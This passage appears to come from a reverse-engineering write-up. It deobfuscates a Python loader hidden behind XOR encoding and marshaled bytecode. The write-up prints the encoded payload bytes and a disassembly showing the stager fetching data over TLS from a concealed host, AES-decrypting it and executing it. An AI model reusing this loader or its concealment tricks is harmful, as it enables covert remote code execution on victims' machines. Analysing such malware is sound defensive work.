K\xb5.\x19\xa2\xf3\x7fBz\xe2\xf3-W\xe3?#\x1an\x91P\f\xc6\xc3\xf2\xf2\x10\x1b\x1b\x1b\xf2\xeb\xe4\xe4\xe4\xb2\x1a\xc1\x1eutux~\xf2\xfb\xe4\xe4\xe4x\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1a\x1b\x1b\x1bH\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x7f\x1bH\x1b2\x1aUi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x0e\x1b\x1b\x1b\xe8\x19\x1b\x1b\x1b\x1f\x1b\xe1\x0ev~tl5\'wtxzwh%5DDDDDDD\xb2\b\xc1\x1dhtxp~o\xc1\x18hhw\xc1\x16Xibkot5Xrks~ii\x18\x1b\x1b\x1b\xc1\x1cvzihszw\xc1\rxi~zo~D\x7f~}znwoDxtuo~co\xc1\x10lizkDhtxp~o\xc1\x1cZ]DRU^O\xc1\x10HTXPDHOI^ZVi;\x1b\x1b\x1b\xc1\x1cxtuu~xo\xc1\x1ch~u\x7fzww\xc1\x1fi~xm\xc1\x1exwth~\xc1\x1eru\x7f~c\xc1\x18u~l\xc1\t\x7f~xibkoDzu\x7fDm~ir}b\xc1\x1ewtz\x7fh\xc1\x13DDxt\x7f~DD\xb2\x11i*\x1b\x1b\x1bi)\x1b\x1b\x1bi\x18\x1b\x1b\x1bi/\x1b\x1b\x1b\xc1\x1aD\xc1\x18DDD\xc1\x19DD\xc1\x1eDDDDD\xc1\x1dDDDDDD\xc1\x1cDDDDDDDi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x18\x1b\x1b\x1b\xe81\x1b\x1b\x1b\x13\x1a\x13\x1a\x17\x1a\x13\x1a5\x1a\x05\x1a\x01\x1a\x1f\x1a\x19\x1a\x11\x1a\x1f\x1a\x19\x1a\x13\x1a\x19\xe7\x13\x1e\r\x1a[\x1a\x11\x1a\x13\x1a\x1d\x1a\x11\x1a'));_.__code__=__;_()

    A couple of interesting things stand out here:

  • The module name is reconstructed on the fly:
    ''.join(chr(i ^ 48) for i in b']QBCXQ\\')
    
    which evaluates to marshal. So instead of a straightforward import marshal, it hides the import behind a simple XOR trick.
  • The byte stream passed into loads() is also obfuscated. Each byte is XORed with 0x1b (27) before being converted back. Even something as simple as the string "little" is rebuilt dynamically, which doesn’t add real protection but definitely adds noise.
  • Instead of calling exec() on the result, the code takes a slightly sneakier route:
    _.__code__ = __;_()
    
    It assigns the recovered code object to a dummy function and then calls it. Functionally it’s the same as executing it, but it avoids having an obvious exec() in the code.

    What this tells us is that the challenge has moved past simple string obfuscation and into Python’s internal serialization layer. The marshal module is used by Python to store and load compiled bytecode (like in .pyc files), meaning the actual logic is now hidden inside a serialized code object rather than plain source code.

    From here on, the analysis becomes less about reading code and more about unpacking these layers, extracting the marshaled bytes, deserializing them and repeating the process until something readable starts to emerge.

    After applying the XOR operation to the large byte sequence, the output still didn’t resemble readable Python source code, although some parts appeared look like scambled code. That was a strong hint that the payload was no longer plain text, but something lower-level, most likely a serialized or compiled object. To confirm this, I used the following small helper script to deserialize the data with marshal and inspect it using Python’s disassembler:

import marshal

decoded_bytes = bytes((i^27) for i in b'x\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x11\x1b\x1b\x1b\x1d\x1b\x1b\x1bX\x1b\x1b\x1b\xe81\x1a\x1b\x1b\x7f\x1a\x7f\x1bw\x1bf\x1b\x7f\x1a\x7f\x1bw\x1af\x1a\x7f\x1a\x7f\x19w\x19v\x18f\x19\x1a\x1b\x7f\x1a\x7f\x1bw\x1ff\x18g\x1a\xbb\x1e\xba\x1bq\x1dg\x1b\xbb\x1bg\x1bq\x1cg\x1bq\x13\xba\x19\x7f\x18\xbb\x12\x7f\x1f\x7f\x1e\x9f\x1b\x7f\x1d_\x1b\x98\x1a\xba\x1a\x7f\x1c\x96\x19f\x1fg\x1f\xbb\x11\x7f\x18\xbb\x12\x7f\x13\x7f\x1e\x9f\x1b\x7f\x12_\x1b\x98\x1a\xba\x1a\x7f\x11}\x19\xba\x1a\x1a\x1bg\x1f\xbb\x10\x7f\x10\xbb\x12\x7f\x17\x7f\x1e\x9f\x1b\x7f\x16_\x1b\x98\x1a\xba\x1a\xba\x1a\x1a\x1b\x7f\x10f\x1e\x12\x1bg\x1f\xbb\x17\x7f\x14\xba\x1af\x1dg\x1dhKu\x1eg\x1eg\x1d,\x1bf\x1ejSg\x1f\xbb\x16\xba\x1b\x1a\x1bg\x1eg\x1e\xbb\x15\x7f\x0b\xba\x1a\x7f\n\f\x1b\x7f\x1b\x9e\x19\x02\x1bf\x1eg\x19q\x14\x7f\x10\xbb\x12\x7f\t\x7f\x1e\x9f\x1b\x7f\b_\x1b\x98\x1a\xba\x1a\x7f\x0fg\x1e\x7f\x0e\x7f\x1b\x9e\x19\x02\x1b\x7f\r\x96\x18\xbb\x0bg\x1e\x7f\x1b\x7f\f\x9e\x19\x02\x1bg\x1e\x7f\f\x7f\x0e\x9e\x19\x02\x1b\xba\x19f\x1cg\x18\xbb\ng\x1c\xba\x1af\x13\x7f\x03\x7f\x02\x9f\x1bf\x12g\x13g\x12D\tg\x12\x98\x1b\x1a\x1b\x7f\x1bH\x1b2\x01U\xf2\x1b\x1b\x1b\x1b\xb2\x1a\xc1\x18Z^H\xc1\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1b\xe8\x07\x1b\x1b\x1b\x9a\x1bg\x1bF\x12f\x1ao\x1bg\x1a\x7f\x1bZ\x1b\x98\x1aM\x1b\x1a\x1bj\x19\x7f\x1aH\x1b2\x19\xf21\x1b\x1b\x1bU\xb2\x1a\xc1\x18xsi\xb2\x19\xc1\x195+\xc1\x1ar\xb2\x1bi\x17\x1b\x1b\x1b\xe1\x13\'vt\x7fnw~%\xc1\x1a}\x13\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x19\x9b\x01\x1b\xe1\fv~tl5\'wtxzwh%5\'|~u~cki%\xe8\x14\x1b\x1b\x1b\\T^F\x1fBH]GXT\x1fWHX\xb2\x1a\xc1\x14h~im~iDsthouzv~x\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19\xf2\x16\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x12\x1b\x1b\x1bi\x14\x1b\x1b\x1b\xe8\x14\x1b\x1b\x1b{sya8eoz`\x7fs8po\x7f\xf2\xa0\x1a\x1b\x1b\xe8\x1b\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x13\x1b\x1b\x1bh\x1b\x1b\x1b\xe8+\x1b\x1b\x1b\x9a\x1bg\x1bF\bf\x1ag\x1a\x7f\x1bZ\x1b\xbb\x1b\x7f\x1a\x7f\x19\xbb\x1a\x7f\x18\x7f\x1f\x9f\x1b\x7f\x1e_\x1b\x98\x1a\xba\x1a\xba\x19M\x1b\x1a\x1bj\x19\x7f\x1dH\x1b2\x1c\xf2O\x1b\x1b\x1b\xf2\x1a\x1b\x1b\x1bi\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19\xf2^\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x11\x1b\x1b\x1bi\x14\x1b\x1b\x1b\xe1:v~tl5\'wtxzwh%5\'|~u~cki%5\'|~u~cki%\xe8\x18\x1b\x1b\x1b<79U\xb2\x19\xc1\x13otDybo~h\xc1\x1fqtrui\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x11\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x19\x9b5\x1b\xe8M\x1b\x1b\x1b\b\n\x1bo`<;.;&,`<:<?&,& :<\x10." !(\x10:<o\x07\x1b\x1b\x1f`~a~BE\x07 <;uo"* 8a<6#9&*a)6&BE\f !!*,;& !uo,# <*BEBEO\xf2\x1b\x0b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x16\x11\x16\x11\xf2\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x13\x1b\x1b\x1bh\x1b\x1b\x1bi\x03\x1b\x1b\x1b2\x1c\xf2,\x1b\x1b\x1bi\x01\x1b\x1b\x1bi\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19i\0\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\b\x1b\x1b\x1bi\x14\x1b\x1b\x1bi\x07\x1b\x1b\x1bi\x06\x1b\x1b\x1bUi\x05\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\b\x1b\x1b\x1bi:\x1b\x1b\x1b\xe8;\x1b\x1b\x1b/&\xe2\xd6\x9c\xc2h K\xb5.\x19\xa2\xf3\x7fBz\xe2\xf3-W\xe3?#\x1an\x91P\f\xc6\xc3\xf2\xf2\x10\x1b\x1b\x1b\xf2\xeb\xe4\xe4\xe4\xb2\x1a\xc1\x1eutux~\xf2\xfb\xe4\xe4\xe4x\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1a\x1b\x1b\x1bH\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x7f\x1bH\x1b2\x1aUi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x0e\x1b\x1b\x1b\xe8\x19\x1b\x1b\x1b\x1f\x1b\xe1\x0ev~tl5\'wtxzwh%5DDDDDDD\xb2\b\xc1\x1dhtxp~o\xc1\x18hhw\xc1\x16Xibkot5Xrks~ii\x18\x1b\x1b\x1b\xc1\x1cvzihszw\xc1\rxi~zo~D\x7f~}znwoDxtuo~co\xc1\x10lizkDhtxp~o\xc1\x1cZ]DRU^O\xc1\x10HTXPDHOI^ZVi;\x1b\x1b\x1b\xc1\x1cxtuu~xo\xc1\x1ch~u\x7fzww\xc1\x1fi~xm\xc1\x1exwth~\xc1\x1eru\x7f~c\xc1\x18u~l\xc1\t\x7f~xibkoDzu\x7fDm~ir}b\xc1\x1ewtz\x7fh\xc1\x13DDxt\x7f~DD\xb2\x11i*\x1b\x1b\x1bi)\x1b\x1b\x1bi\x18\x1b\x1b\x1bi/\x1b\x1b\x1b\xc1\x1aD\xc1\x18DDD\xc1\x19DD\xc1\x1eDDDDD\xc1\x1dDDDDDD\xc1\x1cDDDDDDDi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x18\x1b\x1b\x1b\xe81\x1b\x1b\x1b\x13\x1a\x13\x1a\x17\x1a\x13\x1a5\x1a\x05\x1a\x01\x1a\x1f\x1a\x19\x1a\x11\x1a\x1f\x1a\x19\x1a\x13\x1a\x19\xe7\x13\x1e\r\x1a[\x1a\x11\x1a\x13\x1a\x1d\x1a\x11\x1a')
code = marshal.loads(decoded_bytes)

import dis
dis.dis(code)

    Running this revealed that the payload was indeed a compiled Python code object and the dis module allowed me to inspect its bytecode instructions:

  4           0 LOAD_CONST               1 (0)
              2 LOAD_CONST               0 (None)
              4 IMPORT_NAME              0 (socket)
              6 STORE_FAST               0 (socket)

  5           8 LOAD_CONST               1 (0)
             10 LOAD_CONST               0 (None)
             12 IMPORT_NAME              1 (ssl)
             14 STORE_FAST               1 (ssl)

  6          16 LOAD_CONST               1 (0)
             18 LOAD_CONST               2 (('AES',))
             20 IMPORT_NAME              2 (Crypto.Cipher)
             22 IMPORT_FROM              3 (AES)
             24 STORE_FAST               2 (AES)
             26 POP_TOP

  7          28 LOAD_CONST               1 (0)
             30 LOAD_CONST               0 (None)
             32 IMPORT_NAME              4 (marshal)
             34 STORE_FAST               3 (marshal)

  8          36 LOAD_FAST                1 (ssl)
             38 LOAD_METHOD              5 (create_default_context)
             40 CALL_METHOD              0
             42 LOAD_ATTR                6 (wrap_socket)
             44 LOAD_FAST                0 (socket)
             46 LOAD_METHOD              0 (socket)
             48 LOAD_FAST                0 (socket)
             50 LOAD_ATTR                7 (AF_INET)
             52 LOAD_FAST                0 (socket)
             54 LOAD_ATTR                8 (SOCK_STREAM)
             56 CALL_METHOD              2
             58 LOAD_CONST               3 ('')
             60 LOAD_METHOD              9 (join)
             62 LOAD_CONST               4 (<code object f at 0x7fe0f6b712c0, file "<module>", line 8>)
             64 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
             66 MAKE_FUNCTION            0
             68 LOAD_CONST               6 (b'GOE]\x04YSF\\CO\x04LSC')
             70 GET_ITER
             72 CALL_FUNCTION            1
             74 CALL_METHOD              1
             76 LOAD_CONST               7 (('server_hostname',))
             78 CALL_FUNCTION_KW         2
             80 STORE_FAST               4 (_)

  9          82 LOAD_FAST                4 (_)
             84 LOAD_METHOD             10 (connect)
             86 LOAD_CONST               3 ('')
             88 LOAD_METHOD              9 (join)
             90 LOAD_CONST               8 (<code object f at 0x7fe0f6b71370, file "<module>", line 9>)
             92 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
             94 MAKE_FUNCTION            0
             96 LOAD_CONST               9 (b'`hbz#~ta{dh#ktd')
             98 GET_ITER
            100 CALL_FUNCTION            1
            102 CALL_METHOD              1
            104 LOAD_CONST              10 (443)
            106 BUILD_TUPLE              2
            108 CALL_METHOD              1
            110 POP_TOP

 10         112 LOAD_FAST                4 (_)
            114 LOAD_METHOD             11 (sendall)
            116 LOAD_CONST              11 (b'')
            118 LOAD_METHOD              9 (join)
            120 LOAD_CONST              12 (<code object f at 0x7fe0f6b714d0, file "<module>", line 10>)
            122 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            124 MAKE_FUNCTION            0
            126 LOAD_CONST              13 (b'\x13\x11\x00t{\' 5 =7{\'!\'$=7=;!\'\x0b59;:3\x0b!\'t\x1c\x00\x00\x04{ezeY^\x1c;\' nt91;#z\'-8"=1z2-=Y^\x17;::17 =;:nt78;\'1Y^Y^')
            128 GET_ITER
            130 CALL_FUNCTION            1
            132 CALL_METHOD              1
            134 CALL_METHOD              1
            136 POP_TOP

 11         138 LOAD_CONST              11 (b'')
            140 STORE_FAST               5 (___)

 12         142 NOP

 13     >>  144 LOAD_FAST                4 (_)
            146 LOAD_METHOD             12 (recv)
            148 LOAD_CONST              15 (4096)
            150 CALL_METHOD              1
            152 STORE_FAST               6 (__)

 14         154 LOAD_FAST                6 (__)
            156 POP_JUMP_IF_TRUE        80 (to 160)

 15         158 JUMP_FORWARD             5 (to 170)

 16     >>  160 LOAD_FAST                5 (___)
            162 LOAD_FAST                6 (__)
            164 INPLACE_ADD
            166 STORE_FAST               5 (___)

 12         168 JUMP_ABSOLUTE           72 (to 144)

 17     >>  170 LOAD_FAST                4 (_)
            172 LOAD_METHOD             13 (close)
            174 CALL_METHOD              0
            176 POP_TOP

 18         178 LOAD_FAST                5 (___)
            180 LOAD_FAST                5 (___)
            182 LOAD_METHOD             14 (index)
            184 LOAD_CONST              16 (b'\r\n\r\n')
            186 CALL_METHOD              1
            188 LOAD_CONST              17 (4)
            190 BINARY_ADD
            192 LOAD_CONST               0 (None)
            194 BUILD_SLICE              2
            196 BINARY_SUBSCR
            198 STORE_FAST               5 (___)

 19         200 LOAD_FAST                2 (AES)
            202 LOAD_ATTR               15 (new)
            204 LOAD_CONST              11 (b'')
            206 LOAD_METHOD              9 (join)
            208 LOAD_CONST              18 (<code object f at 0x7fe0f6b71630, file "<module>", line 19>)
            210 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            212 MAKE_FUNCTION            0
            214 LOAD_CONST              19 (b'4=\xf9\xcd\x87\xd9s;P\xae5\x02\xb9\xe8dYa\xf9\xe86L\xf8$8\x01u\x8aK\x17\xdd\xd8\xe9')
            216 GET_ITER
            218 CALL_FUNCTION            1
            220 CALL_METHOD              1
            222 LOAD_CONST              20 (11)
            224 LOAD_FAST                5 (___)
            226 LOAD_CONST              21 (-16)
            228 LOAD_CONST               0 (None)
            230 BUILD_SLICE              2
            232 BINARY_SUBSCR
            234 LOAD_CONST              22 (('nonce',))
            236 CALL_FUNCTION_KW         3
            238 LOAD_METHOD             16 (decrypt_and_verify)
            240 LOAD_FAST                5 (___)
            242 LOAD_CONST               0 (None)
            244 LOAD_CONST              23 (-32)
            246 BUILD_SLICE              2
            248 BINARY_SUBSCR
            250 LOAD_FAST                5 (___)
            252 LOAD_CONST              23 (-32)
            254 LOAD_CONST              21 (-16)
            256 BUILD_SLICE              2
            258 BINARY_SUBSCR
            260 CALL_METHOD              2
            262 STORE_FAST               7 (_____)

 20         264 LOAD_FAST                3 (marshal)
            266 LOAD_METHOD             17 (loads)
            268 LOAD_FAST                7 (_____)
            270 CALL_METHOD              1
            272 STORE_FAST               8 (______)

 21         274 LOAD_CONST              24 (<code object f at 0x7fe0f6b716e0, file "<module>", line 21>)
            276 LOAD_CONST              25 ('meow.<locals>._______')
            278 MAKE_FUNCTION            0
            280 STORE_FAST               9 (_______)

 22         282 LOAD_FAST                8 (______)
            284 LOAD_FAST                9 (_______)
            286 STORE_ATTR              18 (__code__)

 23         288 LOAD_FAST                9 (_______)
            290 CALL_FUNCTION            0
            292 POP_TOP
            294 LOAD_CONST               0 (None)
            296 RETURN_VALUE

Disassembly of <code object f at 0x7fe0f6b712c0, file "<module>", line 8>:
              0 GEN_START                0

  8           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (42)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7fe0f6b71370, file "<module>", line 9>:
              0 GEN_START                0

  9           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (13)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7fe0f6b714d0, file "<module>", line 10>:
              0 GEN_START                0

 10           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                19 (to 44)
              6 STORE_FAST               1 (i)
              8 LOAD_FAST                1 (i)
             10 LOAD_CONST               0 (84)
             12 BINARY_XOR
             14 LOAD_METHOD              0 (to_bytes)
             16 LOAD_CONST               1 (1)
             18 LOAD_CONST               2 ('')
             20 LOAD_METHOD              1 (join)
             22 LOAD_CONST               3 (<code object f at 0x7fe0f6b71420, file "<module>", line 10>)
             24 LOAD_CONST               4 ('meow.<locals>.<genexpr>.<genexpr>')
             26 MAKE_FUNCTION            0
             28 LOAD_CONST               5 (b'\',"')
             30 GET_ITER
             32 CALL_FUNCTION            1
             34 CALL_METHOD              1
             36 CALL_METHOD              2
             38 YIELD_VALUE
             40 POP_TOP
             42 JUMP_ABSOLUTE            2 (to 4)
        >>   44 LOAD_CONST               6 (None)
             46 RETURN_VALUE

Disassembly of <code object f at 0x7fe0f6b71420, file "<module>", line 10>:
              0 GEN_START                0

 10           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (69)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7fe0f6b71630, file "<module>", line 19>:
              0 GEN_START                0

 19           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                19 (to 44)
              6 STORE_FAST               1 (i)
              8 LOAD_FAST                1 (i)
             10 LOAD_CONST               0 (55)
             12 BINARY_XOR
             14 LOAD_METHOD              0 (to_bytes)
             16 LOAD_CONST               1 (1)
             18 LOAD_CONST               2 ('')
             20 LOAD_METHOD              1 (join)
             22 LOAD_CONST               3 (<code object f at 0x7fe0f6b71580, file "<module>", line 19>)
             24 LOAD_CONST               4 ('meow.<locals>.<genexpr>.<genexpr>')
             26 MAKE_FUNCTION            0
             28 LOAD_CONST               5 (b'\',"')
             30 GET_ITER
             32 CALL_FUNCTION            1
             34 CALL_METHOD              1
             36 CALL_METHOD              2
             38 YIELD_VALUE
             40 POP_TOP
             42 JUMP_ABSOLUTE            2 (to 4)
        >>   44 LOAD_CONST               6 (None)
             46 RETURN_VALUE

Disassembly of <code object f at 0x7fe0f6b71580, file "<module>", line 19>:
              0 GEN_START                0

 19           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (69)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7fe0f6b716e0, file "<module>", line 21>:
 21           0 LOAD_CONST               0 (None)
              2 RETURN_VALUE

    Running this revealed that the payload was indeed a compiled Python code object and the dis module allowed me to inspect its bytecode instructions. Looking at the disassembly, the first useful insight comes from the small generator functions that are repeatedly used to transform byte sequences. These appear as separate code objects and follow a very similar pattern:

LOAD_GLOBAL              0 (chr)
LOAD_FAST                1 (i)
LOAD_CONST               0 (42)
BINARY_XOR
CALL_FUNCTION            1
YIELD_VALUE

    This pattern shows that each byte i is XORed with a constant before being converted back into a character using chr(). In this case, the constant is 42. Similar generator blocks appear throughout the bytecode with different constants, which immediately suggests multiple XOR layers are being used.

    The same structure repeats with other values as well, for example:

  • constant 13 used for connection related strings
  • constant 84 used in payload construction
  • constant 55 used in cryptographic handling
  • constant 69 used in nested generator logic

    These values are not arbitrary. Each one acts as a key for a different XOR transformation stage embedded inside generator expressions. To validate this observation and avoid manually inspecting every disassembly block, a helper script was used to recursively walk the compiled object and extract all constants, including those inside nested code objects:

import marshal, dis, io, sys

raw = b'x\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x11\x1b\x1b\x1b\x1d\x1b\x1b\x1bX\x1b\x1b\x1b\xe81\x1a\x1b\x1b\x7f\x1a\x7f\x1bw\x1bf\x1b\x7f\x1a\x7f\x1bw\x1af\x1a\x7f\x1a\x7f\x19w\x19v\x18f\x19\x1a\x1b\x7f\x1a\x7f\x1bw\x1ff\x18g\x1a\xbb\x1e\xba\x1bq\x1dg\x1b\xbb\x1bg\x1bq\x1cg\x1bq\x13\xba\x19\x7f\x18\xbb\x12\x7f\x1f\x7f\x1e\x9f\x1b\x7f\x1d_\x1b\x98\x1a\xba\x1a\x7f\x1c\x96\x19f\x1fg\x1f\xbb\x11\x7f\x18\xbb\x12\x7f\x13\x7f\x1e\x9f\x1b\x7f\x12_\x1b\x98\x1a\xba\x1a\x7f\x11}\x19\xba\x1a\x1a\x1bg\x1f\xbb\x10\x7f\x10\xbb\x12\x7f\x17\x7f\x1e\x9f\x1b\x7f\x16_\x1b\x98\x1a\xba\x1a\xba\x1a\x1a\x1b\x7f\x10f\x1e\x12\x1bg\x1f\xbb\x17\x7f\x14\xba\x1af\x1dg\x1dhKu\x1eg\x1eg\x1d,\x1bf\x1ejSg\x1f\xbb\x16\xba\x1b\x1a\x1bg\x1eg\x1e\xbb\x15\x7f\x0b\xba\x1a\x7f\n\f\x1b\x7f\x1b\x9e\x19\x02\x1bf\x1eg\x19q\x14\x7f\x10\xbb\x12\x7f\t\x7f\x1e\x9f\x1b\x7f\b_\x1b\x98\x1a\xba\x1a\x7f\x0fg\x1e\x7f\x0e\x7f\x1b\x9e\x19\x02\x1b\x7f\r\x96\x18\xbb\x0bg\x1e\x7f\x1b\x7f\f\x9e\x19\x02\x1bg\x1e\x7f\f\x7f\x0e\x9e\x19\x02\x1b\xba\x19f\x1cg\x18\xbb\ng\x1c\xba\x1af\x13\x7f\x03\x7f\x02\x9f\x1bf\x12g\x13g\x12D\tg\x12\x98\x1b\x1a\x1b\x7f\x1bH\x1b2\x01U\xf2\x1b\x1b\x1b\x1b\xb2\x1a\xc1\x18Z^H\xc1\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1b\xe8\x07\x1b\x1b\x1b\x9a\x1bg\x1bF\x12f\x1ao\x1bg\x1a\x7f\x1bZ\x1b\x98\x1aM\x1b\x1a\x1bj\x19\x7f\x1aH\x1b2\x19\xf21\x1b\x1b\x1bU\xb2\x1a\xc1\x18xsi\xb2\x19\xc1\x195+\xc1\x1ar\xb2\x1bi\x17\x1b\x1b\x1b\xe1\x13\'vt\x7fnw~%\xc1\x1a}\x13\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x19\x9b\x01\x1b\xe1\fv~tl5\'wtxzwh%5\'|~u~cki%\xe8\x14\x1b\x1b\x1b\\T^F\x1fBH]GXT\x1fWHX\xb2\x1a\xc1\x14h~im~iDsthouzv~x\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19\xf2\x16\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x12\x1b\x1b\x1bi\x14\x1b\x1b\x1b\xe8\x14\x1b\x1b\x1b{sya8eoz`\x7fs8po\x7f\xf2\xa0\x1a\x1b\x1b\xe8\x1b\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x13\x1b\x1b\x1bh\x1b\x1b\x1b\xe8+\x1b\x1b\x1b\x9a\x1bg\x1bF\bf\x1ag\x1a\x7f\x1bZ\x1b\xbb\x1b\x7f\x1a\x7f\x19\xbb\x1a\x7f\x18\x7f\x1f\x9f\x1b\x7f\x1e_\x1b\x98\x1a\xba\x1a\xba\x19M\x1b\x1a\x1bj\x19\x7f\x1dH\x1b2\x1c\xf2O\x1b\x1b\x1b\xf2\x1a\x1b\x1b\x1bi\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19\xf2^\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x11\x1b\x1b\x1bi\x14\x1b\x1b\x1b\xe1:v~tl5\'wtxzwh%5\'|~u~cki%5\'|~u~cki%\xe8\x18\x1b\x1b\x1b<79U\xb2\x19\xc1\x13otDybo~h\xc1\x1fqtrui\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x11\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x19\x9b5\x1b\xe8M\x1b\x1b\x1b\b\n\x1bo`<;.;&,`<:<?&,& :<\x10." !(\x10:<o\x07\x1b\x1b\x1f`~a~BE\x07 <;uo"* 